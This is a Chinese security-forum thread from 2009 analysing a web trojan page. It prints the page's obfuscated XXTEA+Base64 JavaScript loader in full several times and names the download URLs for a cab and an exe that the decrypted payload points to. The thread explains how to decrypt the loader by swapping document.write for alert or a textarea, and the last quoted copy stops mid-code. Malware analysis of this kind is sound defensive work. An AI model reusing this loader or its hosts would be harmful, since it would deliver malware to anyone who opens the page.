瑞星卡卡安全论坛

首页 » 技术交流区 » 恶意网站交流 » 网马解密悬赏第十九期简要分析
networkedition - 2009-7-20 11:07:00
解密链接地址如下：http://etc.sjtu.edu.cn/kctft_files/ad_files/reg_files/dog_files/new04_files/test.htm

在这里直接使用redoce工具获取源文件，由于源文件中有终止符，freshow无法获取完整源代码，以下为redoce获取到源文件代码，并通过右键去除非键盘字符——全部去除，整理后代码。

[复制到剪贴板]
CODE:
?!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0038)http://xxx.749571.com/webtest/test.htm --><HTML><HEAD><META http-equiv=Content-Type content="text/html; charset=unicode"><SCRIPT language=javascript>function utf8to16(R$ivKH1){var o$SZhbz2,wobt3,iotioOK4,igQHmIp5;var JFtK6,u_QoGg7;o$SZhbz2=[];iotioOK4=R$ivKH1["\x6c\x65\x6e\x67\x74\x68"];wobt3=0;while(wobt3<iotioOK4){igQHmIp5=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);switch(igQHmIp5>>4){case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:o$SZhbz2[o$SZhbz2["\x6c\x65\x6e\x67\x74\x68"]]=R$ivKH1["\x63\x68\x61\x72\x41\x74"](wobt3-1);break;case 12:case 13:JFtK6=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);o$SZhbz2[o$SZhbz2["\x6c\x65\x6e\x67\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((igQHmIp5&0x1F)<<6)|(JFtK6&0x3F));break;case 14:JFtK6=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);u_QoGg7=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);o$SZhbz2[o$SZhbz2["\x6c\x65\x6e\x67\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((igQHmIp5&0x0F)<<12)|((JFtK6&0x3F)<<6)|((u_QoGg7&0x3F)<<0));break;}}return o$SZhbz2["\x6a\x6f\x69\x6e"]('');}var C8=new window["\x41\x72\x72\x61\x79"](-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);function base64decode(zBYah9){var A10,Ha$11,cEyRFE12,MR13;var Yc_rdY14,MSFPC15,DQKBbVA16;MSFPC15=zBYah9["\x6c\x65\x6e\x67\x74\x68"];Yc_rdY14=0;DQKBbVA16 = "";while(Yc_rdY14<MSFPC15){do{A10=C8[zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff]}while(Yc_rdY14<MSFPC15&&A10==-1);if(A10==-1)break;do{Ha$11=C8[zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff]}while(Yc_rdY14<MSFPC15&&Ha$11==-1);if(Ha$11==-1)break;DQKBbVA16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"]((A10<<2)|((Ha$11&0x30)>>4));do{cEyRFE12=zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff;if(cEyRFE12==61)return DQKBbVA16;cEyRFE12=C8[cEyRFE12]}while(Yc_rdY14<MSFPC15&&cEyRFE12==-1);if(cEyRFE12==-1)break;DQKBbVA16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((Ha$11&0XF)<<4)|((cEyRFE12&0x3C)>>2));do{MR13=zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff;if(MR13==61)return DQKBbVA16;MR13=C8[MR13]}while(Yc_rdY14<MSFPC15&&MR13==-1);if(MR13==-1)break;DQKBbVA16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((cEyRFE12&0x03)<<6)|MR13)}return DQKBbVA16}function long2str(v,MK17){var FZbXPws18=v["\x6c\x65\x6e\x67\x74\x68"];var CVLZnZrvQ19=v[FZbXPws18-1]&0xffffffff;for(var B$20=0;B$20<FZbXPws18;B$20++){v[B$20]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](v[B$20]&0xff,v[B$20]>>>8&0xff,v[B$20]>>>16&0xff,v[B$20]>>>24&0xff);}if(MK17){return v["\x6a\x6f\x69\x6e"]('')["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0,CVLZnZrvQ19);}else{return v["\x6a\x6f\x69\x6e"]('');}}function str2long(wVH21,JzhtzQ22){var eF_tezE23=wVH21["\x6c\x65\x6e\x67\x74\x68"];var iDar24=[];for(var SU25=0;SU25<eF_tezE23;SU25+=4){iDar24[SU25>>2]=wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25)|wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25+1)<<8|wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25+2)<<16|wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25+3)<<24;}if(JzhtzQ22){iDar24[iDar24["\x6c\x65\x6e\x67\x74\x68"]]=eF_tezE23;}return iDar24;}function xxtea_decrypt(ReSOiIt26,Lh27){if(ReSOiIt26==""){return"";}var c28=str2long(ReSOiIt26,false);var p_29=str2long(Lh27,false);var TLlP30=c28["\x6c\x65\x6e\x67\x74\x68"]-1;var wY31=c28[TLlP30-1],SPMwoOdi32=c28[0],kFK33=0x9E3779B9;var rtCqYR34,_UWoyDd$35,V36=window["\x4d\x61\x74\x68"]["\x66\x6c\x6f\x6f\x72"](6+52/(TLlP30+1)),OTBMbdQa37=V36*kFK33&0xffffffff;while(OTBMbdQa37!=0){_UWoyDd$35=OTBMbdQa37>>>2&3;for(var vnnTim38=TLlP30;vnnTim38>0;vnnTim38--){wY31=c28[vnnTim38-1];rtCqYR34=(wY31>>>5^SPMwoOdi32<<2)+(SPMwoOdi32>>>3^wY31<<4)^(OTBMbdQa37^SPMwoOdi32)+(p_29[vnnTim38&3^_UWoyDd$35]^wY31);SPMwoOdi32=c28[vnnTim38]=c28[vnnTim38]-rtCqYR34&0xffffffff;}wY31=c28[TLlP30];rtCqYR34=(wY31>>>5^SPMwoOdi32<<2)+(SPMwoOdi32>>>3^wY31<<4)^(OTBMbdQa37^SPMwoOdi32)+(p_29[vnnTim38&3^_UWoyDd$35]^wY31);SPMwoOdi32=c28[0]=c28[0]-rtCqYR34&0xffffffff;OTBMbdQa37=OTBMbdQa37-kFK33&0xffffffff;}return long2str(c28,true);}t="QKoc2AuhjC2dJ9InnmpGWNxifyE5+7tXS+5KhAa8I7NGB1dFdOBytNXuLlwoIYWaRzYmpQKBYHASnPhAinQsRR7d/NcFO92GnZRBvIPDvVAUkEsT/+Ro1sPoC3g/vuvRz2K8469tTb4+D6tZNi3iSekOo8QIyhtWpPu/Jrkw74/JJphZ8pyDCPRJYzH/YH0Z4023eiADh2eaxAhqf5tMWOhkyx8BMeZlhx8xN8TueojjjyhiF/p4RB8N94mpChieZcuX5zWwNScJCKrnCXjR2/ZbbnOdh/8zUBwDdAj9d+8YfqW3sGw1wfmJZH7ez1niukQ6eLPIoi9WlG1p1TilD3RRY2BpbxWzLMG+6sG/eZL6V6xc7evkXiaDr/YNnwyNtknxpqb889OWhlPja/v1izUWuamTAEIVb9ceqWS8QX7hsxcFMksm+XLf7q/6at6LQFemexkDudOpc7ryDgTECoZSwY0XxmXNUTgBZjWeU22X8dzEAvG3ozBwWZQ4c8Llf5PIzReo0hPOqcOd+XCS7o7qjlwd9YOPghfblfLCOkOLUvrJVwjjsvbnmyDdkpKNISF9M+t2heVKtmjzUdsmyndqHrCvd7Bs2h8/gAB2R/3adkLfdeC+ocLSatF0OU5tcvK/ZzW8QjJ4A2TV6qdu5fn5Ix8OvxBfDvrZuTwi/sjuwHL4Fz49G5KdhUjo5dLQH0ybvIM6CoPFLAt1QhGic29DWZA+8Nb8v4kjYTO0dPnM0NW3Vo83tatfrTtmxbHOSngmJ1GwAYgB8LtNOkhF7OPObjj9WM1Erz+1RlInwNz93qBoBqEItL7+gbCgAfAQgH7bQtbh0C8C4rG78kOn4UAcT+1RkrFyTOaNLmHVRy7vwTvNfAb33mQUfWVAsK2jijxPA+6XQfXNVh+J1IBmtbH4dORys+rw1yCYoWnAfqUrUlJZrR4zizOL2TH0r+KJm81q7l3Kzz7WTdgs1d0vv8SR0NHI28ap2d1bzUmDsJfMiglt1f/pgSdFslRHI4GeDL1QL+cTdmTrLgEmje05FRQNX3ju6SSlklXsedV+r/KUj7OYoJr0Ol21nkVNsGAqOouNuIQPbUqduPuNuYycqeWPxsgSlaQRpPdlZvi8LC9vQvGRnUSAObFMO2L8Z5WxK8VO4YenyYHHxgNEjMb++MKLzi2QCtvNgV8G2im2NoZvWg4hLCPgpl4T3smfzjoqJIOdiM5kKby/QPy/faQM0pQQEUYkNigunZNNMcdvSaw/58htoaYBtXHmGVDPECU+r7GKu/pyRuuwGV9XyAkUxrXdVeR/g9fJNtvWZGGr8k6CLnk+njbW4BtAjejll2FEVx7vsVPyY318oPiRvQPlyVQotru5LzfRPY8ysbuQcQqe63l5Ojnrn3LmWhxvTA5oHhv9Y6zKAVUaJOrd6F/AyGgoTOSpPaXhkR7v/Wd7NOD5tOnURkru3Ylul0YIn0pGirTNMJcnD3z6xMfBO9yxSeFxxfhRtzjZQP47Kg==";t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] (t);</SCRIPT><META content="MSHTML 6.00.3790.2954" name=GENERATOR></HEAD><BODY></BODY>


用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
networkedition - 2009-7-20 11:15:00
经过处理过的源代码看起来很乱，不知如何下手，简单分析。

[复制到剪贴板]
CODE:

t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] (t);


xxtea_decrypt(base64decode(t)：XXTEA+BASE64加密

方法一：直接使用在线解密：http://www.du110.com/kittykitty/openlab/jm.htm XXTEA+BASE64解密，来进行解密。

将上述代码复制粘贴至在线解密操作区域：

networkedition - 2009-7-20 11:20:00
点击XXTEA+BASE64解密按钮，弹出如下对话框内容：

networkedition - 2009-7-20 11:29:00
上图中红色框中，我们看到有3个js脚本（已失效），有效地址为：http://down.dj7788.cn/bd.cab和http://down.dj7788.cn/bd.exe。

方法二：我们还是来分析一下这段代码：

[复制到剪贴板]
CODE:
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] (t)


将上述代码esc一下，得到：window["document"]["write"] (t)，实际暗含有个document.write,我们可以使用alert来进行解密，将
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] (t)这段代码替换为alert（t），保存为网页形式文件，直接运行即可。

[复制到剪贴板]
CODE:
?!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0038)

http://xxx.749571.com/webtest/test.htm --><HTML><HEAD><META http-equiv=Content-Type

content="text/html; charset=unicode"><SCRIPT language=javascript>function utf8to16

(R$ivKH1){var o$SZhbz2,wobt3,iotioOK4,igQHmIp5;var JFtK6,u_QoGg7;o$SZhbz2=

[];iotioOK4=R$ivKH1["\x6c\x65\x6e\x67\x74\x68"];wobt3=0;while(wobt3<iotioOK4)

{igQHmIp5=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);switch

(igQHmIp5>>4){case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:o$SZhbz2[o$SZhbz2

["\x6c\x65\x6e\x67\x74\x68"]]=R$ivKH1["\x63\x68\x61\x72\x41\x74"](wobt3-1);break;case

12:case 13:JFtK6=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);o$SZhbz2

[o$SZhbz2["\x6c\x65\x6e\x67\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72

\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((igQHmIp5&0x1F)<<6)|(JFtK6&0x3F));break;case

14:JFtK6=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);u_QoGg7=R$ivKH1

["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);o$SZhbz2[o$SZhbz2["\x6c\x65\x6e\x67

\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43

\x6f\x64\x65"](((igQHmIp5&0x0F)<<12)|((JFtK6&0x3F)<<6)|((u_QoGg7&0x3F)<<0));break;}}return

o$SZhbz2["\x6a\x6f\x69\x6e"]('');}var C8=new window["\x41\x72\x72\x61\x79"](-1,-1,-1,-1,-

1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,

-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-

1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-

1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,

-1,-1);function base64decode(zBYah9){var A10,Ha$11,cEyRFE12,MR13;var

Yc_rdY14,MSFPC15,DQKBbVA16;MSFPC15=zBYah9["\x6c\x65\x6e\x67\x74\x68"];Yc_rdY14=0;DQKBbVA16

= "";while(Yc_rdY14<MSFPC15){do{A10=C8[zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"]

(Yc_rdY14++)&0xff]}while(Yc_rdY14<MSFPC15&&A10==-1);if(A10==-1)break;do{Ha$11=C8[zBYah9

["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff]}while

(Yc_rdY14<MSFPC15&&Ha$11==-1);if(Ha$11==-1)break;DQKBbVA16+=window["\x53\x74\x72\x69

\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"]((A10<<2)|((Ha$11&0x30)

>>4));do{cEyRFE12=zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff;if

(cEyRFE12==61)return DQKBbVA16;cEyRFE12=C8[cEyRFE12]}while(Yc_rdY14<MSFPC15&&cEyRFE12==-

1);if(cEyRFE12==-1)break;DQKBbVA16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72

\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((Ha$11&0XF)<<4)|((cEyRFE12&0x3C)>>2));do

{MR13=zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff;if(MR13==61)

return DQKBbVA16;MR13=C8[MR13]}while(Yc_rdY14<MSFPC15&&MR13==-1);if(MR13==-1)

break;DQKBbVA16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43

\x6f\x64\x65"](((cEyRFE12&0x03)<<6)|MR13)}return DQKBbVA16}function long2str(v,MK17){var

FZbXPws18=v["\x6c\x65\x6e\x67\x74\x68"];var CVLZnZrvQ19=v[FZbXPws18-1]&0xffffffff;for(var

B$20=0;B$20<FZbXPws18;B$20++){v[B$20]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72

\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](v[B$20]&0xff,v[B$20]>>>8&0xff,v[B$20]

>>>16&0xff,v[B$20]>>>24&0xff);}if(MK17){return v["\x6a\x6f\x69\x6e"]('')["\x73\x75\x62

\x73\x74\x72\x69\x6e\x67"](0,CVLZnZrvQ19);}else{return v["\x6a\x6f\x69\x6e"]('');}}

function str2long(wVH21,JzhtzQ22){var eF_tezE23=wVH21["\x6c\x65\x6e\x67\x74\x68"];var

iDar24=[];for(var SU25=0;SU25<eF_tezE23;SU25+=4){iDar24[SU25>>2]=wVH21["\x63\x68\x61\x72

\x43\x6f\x64\x65\x41\x74"](SU25)|wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"]

(SU25+1)<<8|wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25+2)<<16|wVH21["\x63\x68

\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25+3)<<24;}if(JzhtzQ22){iDar24[iDar24["\x6c\x65

\x6e\x67\x74\x68"]]=eF_tezE23;}return iDar24;}function xxtea_decrypt(ReSOiIt26,Lh27){if

(ReSOiIt26==""){return"";}var c28=str2long(ReSOiIt26,false);var p_29=str2long

(Lh27,false);var TLlP30=c28["\x6c\x65\x6e\x67\x74\x68"]-1;var wY31=c28[TLlP30-

1],SPMwoOdi32=c28[0],kFK33=0x9E3779B9;var rtCqYR34,_UWoyDd$35,V36=window["\x4d\x61\x74

\x68"]["\x66\x6c\x6f\x6f\x72"](6+52/(TLlP30+1)),OTBMbdQa37=V36*kFK33&0xffffffff;while

(OTBMbdQa37!=0){_UWoyDd$35=OTBMbdQa37>>>2&3;for(var vnnTim38=TLlP30;vnnTim38>0;vnnTim38-

-){wY31=c28[vnnTim38-1];rtCqYR34=(wY31>>>5^SPMwoOdi32<<2)+(SPMwoOdi32>>>3^wY31<<4)^

(OTBMbdQa37^SPMwoOdi32)+(p_29[vnnTim38&3^_UWoyDd$35]^wY31);SPMwoOdi32=c28[vnnTim38]=c28

[vnnTim38]-rtCqYR34&0xffffffff;}wY31=c28[TLlP30];rtCqYR34=(wY31>>>5^SPMwoOdi32<<2)+

(SPMwoOdi32>>>3^wY31<<4)^(OTBMbdQa37^SPMwoOdi32)+(p_29[vnnTim38&3^_UWoyDd$35]

^wY31);SPMwoOdi32=c28[0]=c28[0]-rtCqYR34&0xffffffff;OTBMbdQa37=OTBMbdQa37-

kFK33&0xffffffff;}return long2str(c28,true);}

t="QKoc2AuhjC2dJ9InnmpGWNxifyE5+7tXS+5KhAa8I7NGB1dFdOBytNXuLlwoIYWaRzYmpQKBYHASnPhAinQsRR7

d/NcFO92GnZRBvIPDvVAUkEsT/+Ro1sPoC3g/vuvRz2K8469tTb4+D6tZNi3iSekOo8QIyhtWpPu/Jrkw74/JJphZ8

pyDCPRJYzH/YH0Z4023eiADh2eaxAhqf5tMWOhkyx8BMeZlhx8xN8TueojjjyhiF/p4RB8N94mpChieZcuX5zWwNSc

JCKrnCXjR2/ZbbnOdh/8zUBwDdAj9d+8YfqW3sGw1wfmJZH7ez1niukQ6eLPIoi9WlG1p1TilD3RRY2BpbxWzLMG+6

sG/eZL6V6xc7evkXiaDr/YNnwyNtknxpqb889OWhlPja/v1izUWuamTAEIVb9ceqWS8QX7hsxcFMksm+XLf7q/6at6

LQFemexkDudOpc7ryDgTECoZSwY0XxmXNUTgBZjWeU22X8dzEAvG3ozBwWZQ4c8Llf5PIzReo0hPOqcOd+XCS7o7qj

lwd9YOPghfblfLCOkOLUvrJVwjjsvbnmyDdkpKNISF9M+t2heVKtmjzUdsmyndqHrCvd7Bs2h8/gAB2R/3adkLfdeC

+ocLSatF0OU5tcvK/ZzW8QjJ4A2TV6qdu5fn5Ix8OvxBfDvrZuTwi/sjuwHL4Fz49G5KdhUjo5dLQH0ybvIM6CoPFL

At1QhGic29DWZA+8Nb8v4kjYTO0dPnM0NW3Vo83tatfrTtmxbHOSngmJ1GwAYgB8LtNOkhF7OPObjj9WM1Erz+1RlI

nwNz93qBoBqEItL7+gbCgAfAQgH7bQtbh0C8C4rG78kOn4UAcT+1RkrFyTOaNLmHVRy7vwTvNfAb33mQUfWVAsK2ji

jxPA+6XQfXNVh+J1IBmtbH4dORys+rw1yCYoWnAfqUrUlJZrR4zizOL2TH0r+KJm81q7l3Kzz7WTdgs1d0vv8SR0NH

I28ap2d1bzUmDsJfMiglt1f/pgSdFslRHI4GeDL1QL+cTdmTrLgEmje05FRQNX3ju6SSlklXsedV+r/KUj7OYoJr0O

l21nkVNsGAqOouNuIQPbUqduPuNuYycqeWPxsgSlaQRpPdlZvi8LC9vQvGRnUSAObFMO2L8Z5WxK8VO4YenyYHHxgN

EjMb++MKLzi2QCtvNgV8G2im2NoZvWg4hLCPgpl4T3smfzjoqJIOdiM5kKby/QPy/faQM0pQQEUYkNigunZNNMcdvS

aw/58htoaYBtXHmGVDPECU+r7GKu/pyRuuwGV9XyAkUxrXdVeR/g9fJNtvWZGGr8k6CLnk+njbW4BtAjejll2FEVx7

vsVPyY318oPiRvQPlyVQotru5LzfRPY8ysbuQcQqe63l5Ojnrn3LmWhxvTA5oHhv9Y6zKAVUaJOrd6F/AyGgoTOSpP

aXhkR7v/Wd7NOD5tOnURkru3Ylul0YIn0pGirTNMJcnD3z6xMfBO9yxSeFxxfhRtzjZQP47Kg==";t=utf8to16

(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));alert(t);</SCRIPT><META

content="MSHTML 6.00.3790.2954" name=GENERATOR></HEAD><BODY></BODY></HTML>


networkedition - 2009-7-20 11:31:00
QoS - 2009-7-20 15:07:00
谢谢，老师放教程  :kaka12:

再给大家说下，用alert弹出的对话框好像不能复制还得自己打上去！

可以在标签的最上放加上 <textarea id="textareaID" rows="50" cols="100"></textarea>

再把window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]替换成document.getElementById("textareaID").innerText=

这用弹出的对话框可以复制，方便下一步解密



引用:

<textarea id="textareaID" rows="50" cols="100"></textarea>

?!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0038)http://xxx.749571.com/webtest/test.htm -->
<HTML><HEAD>
<META http-equiv=Content-Type c>
<SCRIPT language=javascript>
function utf8to16(R$ivKH1){var o$SZhbz2,wobt3,iotioOK4,igQHmIp5;var JFtK6,u_QoGg7;o$SZhbz2=[];iotioOK4=R$ivKH1["\x6c\x65\x6e\x67\x74\x68"];wobt3=0;while(wobt3<iotioOK4){igQHmIp5=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);switch(igQHmIp5>>4)
{case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:o$SZhbz2[o$SZhbz2["\x6c\x65\x6e\x67\x74\x68"]]=R$ivKH1["\x63\x68\x61\x72\x41\x74"](wobt3-1);break;case 12:case 13:JFtK6=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);o$SZhbz2[o$SZhbz2["\x6c\x65\x6e\x67\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((igQHmIp5&0x1F)<<6)|(JFtK6&0x3F));break;case 14:JFtK6=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);u_QoGg7=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);o$SZhbz2[o$SZhbz2["\x6c\x65\x6e\x67\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((igQHmIp5&0x0F)<<12)|((JFtK6&0x3F)<<6)|((u_QoGg7&0x3F)<<0));break;}}
return o$SZhbz2["\x6a\x6f\x69\x6e"]('');}
var C8=new window["\x41\x72\x72\x61\x79"](-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);
function base64decode(zBYah9)
{var A10,Ha$11,cEyRFE12,MR13;var Yc_rdY14,MSFPC15,DQKBbVA16;MSFPC15=zBYah9["\x6c\x65\x6e\x67\x74\x68"];Yc_rdY14=0;DQKBbVA16 = "";while(Yc_rdY14<MSFPC15)
{do
{A10=C8[zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff]}while(Yc_rdY14<MSFPC15&&A10==-1);if(A10==-1)
break;do
{Ha$11=C8[zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff]}while(Yc_rdY14<MSFPC15&&Ha$11==-1);if(Ha$11==-1)
break;DQKBbVA16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"]((A10<<2)|((Ha$11&0x30)>>4));do
{cEyRFE12=zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff;if(cEyRFE12==61)
return DQKBbVA16;cEyRFE12=C8[cEyRFE12]}while(Yc_rdY14<MSFPC15&&cEyRFE12==-1);if(cEyRFE12==-1)
break;DQKBbVA16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((Ha$11&0XF)<<4)|((cEyRFE12&0x3C)>>2));do
{MR13=zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff;if(MR13==61)
return DQKBbVA16;MR13=C8[MR13]}while(Yc_rdY14<MSFPC15&&MR13==-1);if(MR13==-1)
break;DQKBbVA16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((cEyRFE12&0x03)<<6)|MR13)}
return DQKBbVA16}
function long2str(v,MK17){var FZbXPws18=v["\x6c\x65\x6e\x67\x74\x68"];var CVLZnZrvQ19=v[FZbXPws18-1]&0xffffffff;for(var B$20=0;B$20<FZbXPws18;B$20++)
{v[B$20]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](v[B$20]&0xff,v[B$20]>>>8&0xff,v[B$20]>>>16&0xff,v[B$20]>>>24&0xff);}
if(MK17){return v["\x6a\x6f\x69\x6e"]('')["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0,CVLZnZrvQ19);}
else{return v["\x6a\x6f\x69\x6e"]('');}}
function str2long(wVH21,JzhtzQ22){var eF_tezE23=wVH21["\x6c\x65\x6e\x67\x74\x68"];var iDar24=[];for(var SU25=0;SU25<eF_tezE23;SU25+=4)
{iDar24[SU25>>2]=wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25)|wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25+1)<<8|wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25+2)<<16|wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25+3)<<24;}
if(JzhtzQ22){iDar24[iDar24["\x6c\x65\x6e\x67\x74\x68"]]=eF_tezE23;}
return iDar24;}
function xxtea_decrypt(ReSOiIt26,Lh27){if(ReSOiIt26==""){return"";}
